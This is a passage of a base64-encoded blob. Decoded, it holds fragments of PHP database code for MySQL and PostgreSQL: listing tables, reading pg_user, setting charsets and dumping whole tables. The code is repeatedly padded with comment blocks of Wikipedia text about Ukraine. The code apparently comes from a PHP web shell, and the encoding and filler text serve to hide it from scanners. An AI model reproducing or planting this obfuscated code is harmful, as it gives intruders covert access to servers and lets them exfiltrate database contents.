GhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgKHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJykgb3IgdGFibGVfbmFtZSA9ICdwZ191c2VyJyIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBlcnJvcigpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJuIEBteXNxbF9lcnJvcigkdGhpcy0+bGluayk7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmxpbmspOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQl9CgkJZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkKCQkJCQkJcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7CgkJCQkJZWxzZQoJCQkJCQkkdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdteXNxbCc6Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCXJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBkdW1wKCR0YWJsZSkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQkkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsKCQkJCQkkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7CgkJCQkJZWNobyAkY3JlYXRlWzFdLiI7XG5cbiI7CgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOwoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOwoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXR